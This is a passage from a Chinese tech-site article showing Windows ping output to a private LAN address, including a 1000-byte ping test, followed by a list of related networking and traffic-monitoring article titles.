Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 10ms, Maximum =  10ms, Average =  10ms       

C:\>ping -l 1000 192.168.2.2       

Pinging 192.168.2.2 with 1000 bytes of data:       

Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250       

Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 20ms, Maximum =  31ms, Average =  22ms       

C:\>

責(zé)任編輯:藍雨淚 來源: 烏云知識庫
相關(guān)推薦

2015-10-10 09:31:41

2009-09-09 09:59:02

路由器升級管理

2015-06-02 13:54:59

2011-12-08 13:08:54

高性能路由

2010-09-08 14:01:40

2014-03-31 09:13:20

2016-10-07 22:54:03

流量監(jiān)控ossim

2012-06-05 09:34:47

2010-08-18 09:58:57

網(wǎng)絡(luò)流量

2009-12-18 11:02:14

2009-09-08 22:52:30

網(wǎng)絡(luò)流量管理

2011-05-17 13:31:31

出口路由器路由

2011-04-06 10:57:14

監(jiān)控MRTG

2011-04-01 09:18:03

2019-08-19 00:14:12

網(wǎng)絡(luò)測試帶寬網(wǎng)絡(luò)流量

2011-03-31 09:47:21

CACTI流量監(jiān)控

2021-06-06 22:29:43

黑客網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2012-11-29 09:59:02

網(wǎng)絡(luò)流量網(wǎng)絡(luò)安全

2013-12-27 09:55:56

2009-08-03 16:27:17

點贊
收藏

51CTO技術(shù)棧公眾號